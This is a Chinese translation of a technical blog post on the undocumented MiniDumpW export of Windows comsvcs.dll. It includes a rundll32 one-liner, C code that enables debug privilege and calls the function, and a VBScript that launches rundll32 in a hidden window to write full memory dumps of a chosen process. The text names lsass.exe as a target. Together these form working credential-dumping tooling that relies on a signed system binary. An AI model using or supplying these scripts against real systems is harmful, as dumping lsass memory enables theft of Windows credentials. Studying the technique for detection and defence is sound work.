引言
这是一篇快速且代码导向的文章,讨论的是comsvcs.dll导出的一个函数,我在网上未能找到任何相关参考资料。
更新:Dmitry Vostokov在2008年出版的《Memory Dump Analysis Anthology Volume 1》中,在关于COM+崩溃转储的章节里讨论了这个函数。我之前没找到是因为我搜索的是“MiniDumpW”而不是“MiniDump”。
在搜索导入了DBGHELP!MiniDumpWriteDump的DLL/EXE时,我发现comsvcs.dll导出了一个名为MiniDumpW的函数,该函数似乎专门设计用于通过rundll32调用。它接受三个参数,但前两个会被忽略。第三个参数应该是一个包含三个用引号包裹的令牌/参数的UNICODE字符串。第一个是进程ID,第二个是内存转储的保存位置,第三个要求关键字“full”,尽管对于这最后一个参数并没有其他选项。
要从命令行使用,请键入以下内容:"rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"",其中“1234”是要转储的目标进程。显然,这假设您有权查询和读取目标进程的内存。如果COMSVCS!MiniDumpW遇到错误,它只会调用KERNEL32!ExitProcess,您将看不到任何输出。以下C代码演示了如何动态调用它。
顺便说一下,HRESULT可能是不正确的返回类型。在内部,如果遇到参数问题,它会以E_INVALIDARG退出进程;但如果成功,则返回1。S_OK被定义为0。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#define UNICODE
#include <windows.h>
#include <stdio.h>
typedef HRESULT (WINAPI *_MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if(MiniDumpW == NULL) {
printf("Unable to resolve COMSVCS!MiniDumpW.\n");
return 0;
}
// 尝试启用调试权限
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
// 转储进程
MiniDumpW(0, 0, argv[1]);
printf("OK!\n");
return 0;
}
|
由于rundll32和comsvcs!MiniDumpW都不会启用访问lsass.exe所需的调试权限,以下VBScript将在提升权限的进程中工作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then
WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
WScript.StdOut.WriteLine("Usage: procdump <process>")
WScript.Quit
Else
Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' 获取进程ID或名称
pid = WScript.Arguments(0)
' 以调试权限连接
Set fso = CreateObject("Scripting.FileSystemObject")
Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' 如果不是数字
If(Not IsNumeric(pid)) Then
query = "Name"
Else
query = "ProcessId"
End If
' 尝试查找它
Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
query & " = '" & pid & "'")
If (list.Count = 0) Then
WScript.StdOut.WriteLine("Can't find active process : " & pid)
WScript.Quit()
End If
For Each proc in list
pid = proc.ProcessId
str = proc.Name
Exit For
Next
dmp = fso.GetBaseName(str) & ".bin"
' 如果转储文件已存在,尝试删除它
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Removing " & dmp)
fso.DeleteFile(dmp)
End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _
str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process")
Set startup = svc.Get("Win32_ProcessStartup")
Set cfg = startup.SpawnInstance_
cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
pid & " " & fso.GetAbsolutePathName(".") & "\" & _
dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' 休眠一秒
Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then
WScript.StdOut.WriteLine("Memory saved to " & dmp)
Else
WScript.StdOut.WriteLine("Something went wrong.")
End If
End If
|
从提升权限的cmd提示符运行。
不知道这有多大的用处,但既然它是操作系统的一部分,可能还是值得了解的。也许您会在已签名的二进制文件中找到执行目标进程内存转储的类似函数。